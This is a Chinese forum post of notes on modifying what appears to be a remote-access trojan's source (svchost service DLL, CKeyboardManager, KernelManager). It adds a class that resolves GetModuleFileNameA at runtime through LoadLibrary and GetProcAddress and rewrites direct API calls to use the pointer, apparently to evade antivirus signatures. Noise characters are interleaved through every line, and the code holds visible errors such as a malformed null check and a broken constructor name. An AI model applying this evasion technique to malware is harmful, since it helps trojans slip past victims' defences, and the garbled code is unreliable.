[原创文章] 全局动态调用 全局, 动态

ice_xke

全局动态调用笔记
* B8 D4 l& H1 l0 asvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
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DTDY.h：$ s% u2 d1 w4 |" g( Z# \
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#if _MSC_VER>10003 P  V" m) Q7 y- Z1 Y
#pragma once
- z, X% a6 }8 C  `% R3 j/ }- o* e#endif //_MSC_VER>1000
6 H5 H4 {1 A( N7 z#include<windows.h>( W" M0 `: x/ L! m
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typedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);
* j/ C- ?/ E% g' x9 iclass DTDY
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7 J- f2 E( J% p, N. _public:
/ X6 ]* m( ^  k! B* IDTDY();1 e8 g5 w  t3 m' }  h
virtual ~DTDY();, w8 c1 Z; x7 ?4 |
public:2 G. s% I1 [2 e
static pGetModuleFileNameA MyGetModuleFileName;' q. Q$ |" L+ l8 v% ]: [
static BOOL FunInitiallization();$ N# J' g; X0 O
};
  T1 j: k' U& z) i9 v1 y, J) {#endif
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DTDY.cpp:+ n% I) K7 j  c9 |( c6 O

$ ^/ B8 V4 r6 T0 f) N$ ]% k; _#include "DTDY.h"8 J1 F% m4 c  }8 x
pGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
$ [" f  p+ N- o; C4 u0 w+ kDTDY:TDY()
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DTDY::~DTDY()/ x* s  i' d5 I1 e6 K6 W
{
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BOOL DTDY::FunInitiallization()
$ j* C  n# \9 u7 B7 f9 H{
8 i' ^! J9 {7 j; `4 G# |$ S- dHMODULE hModule=LoadLibrary("kernel32.dll");* U$ s$ x4 v" d0 [- z& ~
MyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");
5 a5 e- y9 y3 r" q. B& ]if(!MyGetModuleFileName=) return FALSE;
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2 n: J+ q; v( T# N2 Y; \2 Nreturn TRUE;1 S* H- r8 `8 y3 a+ W, _
}
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svchost.cpp:. x3 i: ?3 a# O; y8 H
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#include "DTDY.h"! A: I0 N6 W  P& ]
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BOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)
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1 J9 v) t* e+ s3 vswitch(ul_reason_for_call)* J$ P  L6 [0 P% o# Y  F
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case DLL_PROCESS_ATTACH:
# c3 Q# k; v7 s5 @if(!DTDY::FunInitiallization()) return FALSE;
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break;1 C; h% P* f6 Q# w3 a- X
}
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- p9 X) H6 L* K) xGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
9 f1 P( l/ ?( N9 p) m改写为
- a2 }+ p, q4 v8 a$ M6 S, kDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
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KernelManager.cpp:
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" [/ k( Y  q' G. Z. Z8 M( k#include "../DTDY.h"
9 q7 I' v  S- \7 AGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));, t8 u* B# A. E
改写为
2 s+ f' Q& P  R# ^5 [DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));# n3 p9 N; L: v
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